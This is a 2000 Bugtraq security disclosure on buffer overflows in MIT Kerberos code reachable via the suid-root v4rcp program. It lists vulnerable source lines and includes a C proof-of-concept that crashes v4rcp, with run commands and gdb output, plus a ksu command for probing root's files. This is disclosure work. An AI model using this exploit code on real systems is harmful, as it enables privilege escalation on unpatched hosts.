Date: Thu, 18 May 2000 19:40:27 +0100 From: Chris Evans <chris@FERRET.LMH.OX.AC.UK> Subject: Clarification/further info on Kerberos issues To: BUGTRAQ@SECURITYFOCUS.COM Hi, I read with interest the recent post on Kerberos security issues. I was mildly disappointed not be credited; I started discovering Kerberos issues a month ago. In fact the first problem I demonstrated was the kd_mq_req() problem. Original demonstration details pasted at end of mail. The main point of this mail, though, is to advise people to be wary of assuming that MIT-Kerberos is now "safe". The team need to perform a thorough audit of all the code. The type and extent of issues they face is illustrated by the following mail I sent a couple of weeks ago. I found these issues by tracing through the code path available to malicious users via "v4rcp", a suid-root application. Something that needs noting - a full install of RedHat6.2 includes a suid-root "v4rcp" (even if the user has not enabled the Kerberised services, which are luckily not enabled in the default setup). I demonstrate the exploitability of this, via "v4rcp", below in one of my original mails. One final point before I start quoting mails - most issues (maybe all) were fixed in KTH Kerberos code-base, which I browsed via the Web from www.openbsd.org. Cheers Chris Quote1: Illustration of extend of problems present =========================================================== From chris@ferret.lmh.ox.ac.uk Thu May 18 19:35:07 2000 Date: Wed, 3 May 2000 23:33:40 +0100 (BST) From: Chris Evans <chris@ferret.lmh.ox.ac.uk> Subject: Re: /usr/kerberos/bin/v4rcp broken :( > Anyhow, here are the patches, if you'd like to try breaking a package with > them applied, I'd appreciate it (after an initial round of cursing if you're > still able to get v4rcp to crash, of course). Possibly time for a round of cursing I'm afraid. I haven't got it to crash (haven't tried) - but I can see several more overflows. Some of them may not be exploitable, but they certainly require fixing. These were discovered, in this order, by following the code paths available to crackers trying to break v4rcp.c 1) appl/bsd/v4rcp.c itself, line 402 strncpy(krb_realm,*argv,REALM_SZ); sprintf(realmarg, " -k %s", krb_realm); Failure to NULL-terminate krb_realm leads to stack overflow. User does not have direct control over contents of overflow bytes 2) lib/krb4/recvauth.c, line 192 Note that control flow arrives here via two command line options in v4rcp.c main() calling answer_auth(), a method also in v4rcp.c. This subsequently calls krb_recvauth(). Note, we're now in XXXX. At this point we'll start doing a whole _pile_ of reading/parsing from stdin! if (krb_net_read(fd, (char *)(tmp_buf+KRB_SENDAUTH_VLEN), (int) (tkt_len - KRB_SENDAUTH_VLEN + 1 + i)) This looks horribly broken. I can probably arrange for a negative value to be passed to krb_net_read(), which will of course become a large positive value. The destination of the data is on the stack :-( Luckily this line of code is not arrived at if krb_recvauth() is called with KOPT_DO_MUTUAL. By luck, v4rcp.c uses this flag. 3) lib/krb4/rd_req.c, line 222 We arrive here because krb_recvauth() has called krb_rd_req(). In krb_rd_req() we're about to parse up to 1250 bytes of user supplied data. (void) strcpy(realm,ptr); /* And the realm of the issuing KDC */ ptr: close to the start of the user-supplied 1250 buffer realm: a 40-byte buffer on the stack! So this buffer is toast. HOWEVER, again by luck this may not be exploitable. This is because there are many kilobytes of other objects on the stack. God knows what damage can be done to them however. This is very dangerous. 4) lib/krb4/rd_req.c, line 223 ptr += strlen(ptr) + 1; /* skip the realm "hint" */ Great - ptr could now be pointing outside the bounds of the max 1250 data chunk. 5) lib/krb4/rd_req.c, line 252 (void) strcpy(st_rlm,realm); If code flow reaches here, we've just blown a static buffer 6) lib/krb4/rd_req.c, line 258 tkt->length = (int) *ptr++; if ((tkt->length + (ptr+1 - (char *) authent->dat)) > authent->length) return(RD_AP_MODIFIED); memcpy((char *)(tkt->dat), ptr+1, tkt->length); Looks like over-trust of a length supplied by the user to me. Oh - throw in some signed/unsigned issues. I don't know if a malicious user can get code flow to go here - I didn't think though the reading of service key. If one cannot be read, code flow doesn't get here. In fact the rest of this file is riddled with potential issues. There are probably plenty of other code paths available to malicious users too. You can see why I despair for v4rcp.c :-) Incidentally, did you get a full stack trace of the point of the initial buffer overflow I raised? I'm interested which code path I broke; I'm pretty sure it's not covered above. Cheers Chris Quote2: Original discovery of problems; demo of explotability [about a month old] ============================================================= From chris@ferret.lmh.ox.ac.uk Thu May 18 19:34:25 2000 Date: Mon, 24 Apr 2000 18:53:17 +0100 (BST) From: Chris Evans <chris@ferret.lmh.ox.ac.uk> Subject: /usr/kerberos/bin/v4rcp broken :( Hi Check this Usage: ./breakv4rcp > deathfile export KRB5LOCALADDR=1 export KRB5REMOTEADDR=1 v4rcp -x -f < deathfile (n.b. using a pipe fails probably due to size) This demonstrates but one of many flaws. If possible it should be shipped NOT suid-root Note that this is probably a secondary overflow; one buffer is overflowed and the contents of that later overflow another etc. etc. Maybe the 0x61 is to_lower('A'); I doubt it's a problem for exploitation (if it was, there's not a shortage of other problems :-) "ksu" is also suid root in RH6.2. I'll try and break it "properly" this week but for the meantime note that the -c flag can be used to determine the existance of arbitrary files e.g. ksu -c 'oops:/root/.bash_history' Cheers Chris Starting program: /usr/kerberos/bin/v4rcp -x -f < die (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of bounds>) at ../sysdeps/i386/strlen.c:27 27 ../sysdeps/i386/strlen.c: No such file or directory. (gdb) bt #0 0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of bounds>) at ../sysdeps/i386/strlen.c:27 #1 0x40060c9e in krb5_425_conv_principal () from /usr/kerberos/lib/libkrb5.so.2 #2 0x61616161 in ?? () Cannot access memory at address 0x61616161 #include <unistd.h> #include <string.h> #include <netinet/in.h> int main(int argc, const char* argv[]) { char tickbuf[1250]; int i; char c; memset(tickbuf, 'A', sizeof(tickbuf)); /* Output to fd 1 (stdout) */ /* Protocol version - MUST be as follows */ write(1, "AUTHV0.1", 8); /* Application version - arbitrary */ write(1, "DEADBEEF", 8); /* Ticket size - go for the max */ i = htonl(sizeof(tickbuf)); write(1, &i, 4); /* The ticket */ /* Kerberos protocol version; today we're breaking version: 4 */ tickbuf[0] = 4; /* Byteswap is lowest bit (0 will do) */ /* Or with AUTH_MSG_APPL_REQUEST (3<<1) */ tickbuf[1] = 3<<1 | 0; /* Server key version - arbitrary */ tickbuf[2] = 0; write(1, tickbuf, sizeof(tickbuf)); }